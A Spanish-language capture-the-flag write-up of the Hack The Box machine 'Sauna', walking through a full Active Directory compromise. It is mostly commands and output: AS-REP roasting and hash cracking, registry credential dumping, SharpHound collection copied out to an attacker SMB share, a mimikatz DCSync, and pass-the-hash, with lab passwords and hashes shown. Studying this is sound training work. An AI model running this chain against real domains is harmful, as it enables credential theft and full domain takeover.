Maquina Retirada Sauna AD de Hack The Box (Necesario VIP)
Sauna AD ~ Hack The Box
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allports 10.10.10.175 "
Procedemos con el siguiente escaneo de Nmap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-01-02 00:47:13Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49677/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 8h00m02s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-01-02T00:48:04
|_ start_date: N/A
Procedemos a enumerar el puerto 80 y ver que hay a nivel WEB para enumerar posibles Usuarios a nivel del Dominio encontrado EGOTISTICAL-BANK.LOCAL
Introducimos el Dominio en nuestro archivo /etc/hosts
Encontramos unos posibles usuarios Validos a nivel web, procedo a montarme un Diccionario para preoceder a realizar un ASREP-Roast Attack
Para ello utilizaremos la herramienta GetNPUsers.py
mas a delante.
Procedemos a montarnos un archivo con los Nombres de los Usuarios Encontrados
# cat diccionario_users 1 ⚙
Fergus Smith
Shaun Coins
Bowie Taylor
Sophie Driver
Steven Kerb
Ahora procedemos a hacer uso de la herramienta Username-Anarchy
para crear distintas variaciones en los nombre de usuario a nivel del diccionario_users.
# ./username-anarchy --input-file diccionario_users --select-format first,flast,first.last,firstl
fergus
fergus.smith
ferguss
fsmith
shaun
shaun.coins
shaunc
scoins
bowie
bowie.taylor
bowiet
btaylor
sophie
sophie.driver
sophied
sdriver
steven
steven.kerb
stevenk
skerb
Redirigimos el contenido de usuarios nuevos creados a el Archivo diccionario_users.modifed
ASREPRoasting Attack
Paso 1 - Tener un diccionario Creado con posibles Usuarios para realizar el ataque Paso 2 - Realizar el Ataque con la siguiente estructura modificando el Dominio y Diccionario a usar
# GetNPUsers.py egotistical-bank.local/ -no-pass -usersfile ../nmap/diccionario_users.modified
Impacket v0.9.24.dev1+20210827.162957.5aa97fa7 - Copyright 2021 SecureAuth Corporation
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:847325b2e10c33d2ae7b40c82a74ff56$7f6c655697711e9b3e7d75f09a12d53e1b521549fd5704bf
bdeb5fa321b54f2a115dee82fbc6d9dcd6526a31e44b5701a39574897418052dd9062a21db7aebe7ad0f5b63a05ef041053cfa2e03bc0caa058044cd2caf8
89023bcf1b3a0aa0f3eef4c6425f4e37f9e4d2d3fcbde5dfd462cc11bd19a168c81239e9dfafb0530b8c87321497389afcef5dc573142acef0b14a2b0a161
d182e665c760814e73e13a8a4cb8fc0fe61dc4c164a598d0adf5d95f616fe8c46dd5deae459f703e1c42392eefc9912258061dbd0676f054279cbbb1d457a
daf0a64b196f1f47249b3a6de3c43c15b6d734e888a884d4a9b5bcbbf533d6895403bbd692f69b59b743ea83c
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
.
-
Vemos que obtenemos un HASH
que podemos proceder a Crackear conm la herramienta John
# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
"Thestrokes23" ($krb5asrep$23$"fsmith"@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:04 DONE (2022-01-04 15:51) 0.2232g/s 2352Kp/s 2352Kc/s 2352KC/s Tiffani143..Thehulk2008
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Obtenemos Credenciales
fsmith: Thestrokes23
Procedemos a Validar con Crackmapexec el usuario y la password tanto para SMB como para WINRM
# crackmapexec smb 10.10.10.175 -u fsmith -p Thestrokes23
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
# crackmapexec winrm 10.10.10.175 -u fsmith -p Thestrokes23
WINRM 10.10.10.175 5985 SAUNA [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM 10.10.10.175 5985 SAUNA [*] http://10.10.10.175:5985/wsman
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
Procedemos a conectarnos como el usuario fsmith con la Herramienta Evil-winrm
# evil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
Procedemos a enumerar Usuarios a nivel Local en la Maquina y los guardamos en un archivo.
*Evil-WinRM* PS C:\Users\FSmith\Documents> net users
User accounts for \\
-------------------------------------------------------------------------------
Administrator FSmith Guest
HSmith krbtgt svc_loanmgr
Procedemos a subir nuestro scrip winPEASx64.exe para realizar un reconocimiento Encontramos las siguientes Credenciales para el usuario almacenadas por defecto en el AUTOLOGON:
svc_loanmgr: Moneymakestheworldgoround!
Sacar las credenciales Almacenadas en el Autologon Windows
*Evil-WinRM* PS C:\Users\FSmith\Documents> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DefaultDomainName REG_SZ EGOTISTICALBANK
DefaultUserName REG_SZ EGOTISTICALBANK\svc_loanmanager
.......etc...
DefaultPassword REG_SZ Moneymakestheworldgoround!
Procedemos a Validar las Credenciales para el user svc_loanmgr con Crackmapexec
# crackmapexec smb 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
SMB 10.10.10.175 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.175 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!
# crackmapexec winrm 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
WINRM 10.10.10.175 5985 SAUNA [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM 10.10.10.175 5985 SAUNA [*] http://10.10.10.175:5985/wsman
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)
Vemos que Tambien tenemos acceso para conectarnos con la Herramienta Evil-winrm al user svc_loanmgr
# evil-winrm -i 10.10.10.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr
Haciendo Uso de SharpHound.ps1
Procedemos a enumerar el sistema a nivel de Active Directory con la herramienta SharpHound.ps1 Nos descargamos SharpHound.ps1 haciendo un wget a –> https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1 Grepeando por la funcion
# grep "Invoke-BloodHound" SharpHound.ps1
function Invoke-BloodHound{
PS C:\> Invoke-BloodHound -Loop -LoopInterval 00:01:00 -LoopDuration 00:10:00
" PS C:\> Invoke-BloodHound -CollectionMethod All " ---> esta es la que usaremos
PS C:\> Invoke-BloodHound -CollectionMethod DCOnly -NoSaveCache -RandomizeFilenames -EncryptZip
Procedemos a subirlo a la maquina victima a la siguiente ruta C://Windows/Temp/Privesc/
Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> cd C://Windows/Temp/Privesc
*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload SharpHound.ps1
Info: Uploading SharpHound.ps1 to C:\Windows\Temp\Privesc\SharpHound.ps1
Progress: 43% : |▓▓▓▒░░░░░░
*Evil-WinRM* PS C:\Windows\Temp\Privesc> dir
Directory: C:\Windows\Temp\Privesc
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/4/2022 2:13 PM 974235 SharpHound.ps1
Una vez subido Procedemos a hacer lo siguiente:
*Evil-WinRM* PS C:\Windows\Temp\Privesc> Import-Module .\SharpHound.ps1
*Evil-WinRM* PS C:\Windows\Temp\Privesc> Invoke-BloodHound -CollectionMethod All
*Evil-WinRM* PS C:\Windows\Temp\Privesc> dir
Directory: C:\Windows\Temp\Privesc
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/4/2022 2:15 PM 9067 20220104141535_BloodHound.zip
-a---- 1/4/2022 2:13 PM 974235 SharpHound.ps1
-a---- 1/4/2022 2:15 PM 11122 ZDFkMDEyYjYtMmE1ZS00YmY3LTk0OWItYTM2OWVmMjc5NDVk.bin
Ahora procedemos a iniciar el servicio neo4j console
en una terminal ~ Nos logueamos con nuestras Credenciales
Ahora procedemos a iniciar el servicio BloodHound &>/dev/null &
para subir el archivo .zip
que acabamos de crear con la expresion anterior atraves del modulo SharpHound
Antes de subir el archivo al BloodHound sofware tenemos que pasarnoslo a nuestra maquina, para ello nos creamos un recurso compartido con Impacket-smbserver
y nos sincronizamos
con el recurso compartido que acabamos de crear desde la maquina victima:
*Evil-WinRM* PS C:\Windows\Temp\Privesc> net use x: \\10.10.16.7\smbFolder
The command completed successfully.
# impacket-smbserver smbFolder $(pwd) -smb2support 1 ⚙
Impacket v0.9.24.dev1+20210827.162957.5aa97fa7 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.175,49885)
[*] AUTHENTICATE_MESSAGE (\,SAUNA)
[*] User SAUNA\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:smbFolder)
Una vez ya tenemos el Recurso x: o smbFolder seteado procedemos a pasarnos el archivo .zip
*Evil-WinRM* PS C:\Windows\Temp\Privesc> copy 20220104141535_BloodHound.zip x:\20220104141535_BloodHound.zip
Listo, Ya tendriamos nuestro archivo en nuestra maquina Atacante, preparado para subirlo al BloodHound.
BloodHound - GetChangesAll - DCSynck Attack
Con el BloodHound Activo y chequeando por posibles formas de llegar al DC, pinchamos en la forma de realizar un DCSYnc Attack y enumeramos la siguiente informacion:
El usuario `svc_loanmgr` tiene como privilegios `GetChanges-All` & `GetChanges` sobre El dominio `Egotistical-bank.local`
Pinchamos sobre como podemos abusar de esto y vemos una potencial forma de realizar con mimikatz.exe un DCSynck
Procedemos a subir el archivito mimikatz.exe
y realizar el DCSynck Attack:
*Evil-WinRM* PS C:\Windows\Temp\Privesc>" C://Windows/Temp/Privesc/mimikatz.exe 'lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator' exit"
.#####. mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator
[DC] 'EGOTISTICAL-BANK.LOCAL' will be the domain
[DC] 'SAUNA.EGOTISTICAL-BANK.LOCAL' will be the DC server
[DC] 'Administrator' will be the user account
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : "Administrator"
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 7/26/2021 8:16:16 AM
Object Security ID : S-1-5-21-2966785786-3096785034-1186376766-500
Object Relative ID : 500
Credentials:
" Hash NTLM: 823452073d75b9d1cf70ebdf86c7f98e"
ntlm- 0: 823452073d75b9d1cf70ebdf86c7f98e
ntlm- 1: d9485863c1e9e05851aa40cbb4ab9dff
ntlm- 2: 7facdc498ed1680c4fd1448319a8c04f
lm - 0: 365ca60e4aba3e9a71d78a3912caf35c
lm - 1: 7af65ae5e7103761ae828523c7713031
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 716dbadeed0e537580d5f8fb28780d44
* Primary:Kerberos-Newer-Keys *
Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
aes128_hmac (4096) : a9f3769c592a8a231c3c972c4050be4e
des_cbc_md5 (4096) : fb8f321c64cea87f
OldCredentials
aes256_hmac (4096) : 987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
aes128_hmac (4096) : 145e4d0e4a6600b7ec0ece74997651d0
des_cbc_md5 (4096) : 19d5f15d689b1ce5
OlderCredentials
aes256_hmac (4096) : 9637f48fa06f6eea485d26cd297076c5507877df32e4a47497f360106b3c95ef
aes128_hmac (4096) : 52c02b864f61f427d6ed0b22639849df
des_cbc_md5 (4096) : d9379d13f7c15d1c
* Primary:Kerberos *
Default Salt : EGOTISTICAL-BANK.LOCALAdministrator
Credentials
des_cbc_md5 : fb8f321c64cea87f
OldCredentials
des_cbc_md5 : 19d5f15d689b1ce5
* Packages *
NTLM-Strong-NTOWF
* Primary:WDigest *
01 b4a06d28f92506a3a336d97a66b310fa
02 71efaf133c578bd7428bd2e1eca5a044
03 974acf4f67e4f609eb032fd9a72e8714
04 b4a06d28f92506a3a336d97a66b310fa
05 79ba561a664d78d6242748774e8475c5
06 f1188d8ed0ca1998ae828a60a8c6ac29
07 801ddc727db9fa3de98993d88a9ffa8b
08 a779e05da837dd2d303973304869ec0f
09 ac2c01846aebce4cbd4e3ec69b47a65d
10 6d863d6ae06c3addc49b7a453afe6fa0
11 a779e05da837dd2d303973304869ec0f
12 6676b9fdd4aa7f298f1ada64c044c230
13 5a01167d750636d66e5602db9aece9b7
14 f702282bd343c2fee7b98deac8950390
15 a099aa3c81f1affeba59d79a6533f60d
16 4bae84b8f0b0306788ff9bda4acb3bd4
17 976d547fb9e04b0ac5ec60508c275da1
18 50c302b71d0e08a1a2be14b56225645f
19 edb19e08653443695f6d3599e0a6bddf
20 c497465ddc6e2fc14cb0359d0d5de7f8
21 2ed0b4b57196fb190a66224b2b17029f
22 37d03051ae1cd6046975948564ab01fa
23 d4c7554fe1beb0ed712f50cfec470471
24 8df495fe69cdce409b9f04ea04289b9e
25 40788044be982310920cc0740687fefd
26 db7f66f1f1a8f46274d20cfdda5b6e1c
27 d70226ec52f1ef198c2e1e955a1da9b6
28 abdd681f875a9b3f3a50b36e51692a2c
29 dcd140a2ce2bf70fed7ac0e2b60d0dee
mimikatz(commandline) # exit
Bye!
*Evil-WinRM* PS C:\Windows\Temp\Privesc>
Fijarse muy bien en la sintaxis de todo en general es importante.
Procedemos a hacer PassTheHash
con el Hash NTLM encontrado para el user Administrator:
# evil-winrm -i 10.10.10.175 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
7ad57cf8f51a37019eaadxxxxxxxxxxxxxxxxxxxx
Maquina Sauna Hackeada ~~ Active Directory Path ~~ K0H4ck Yeah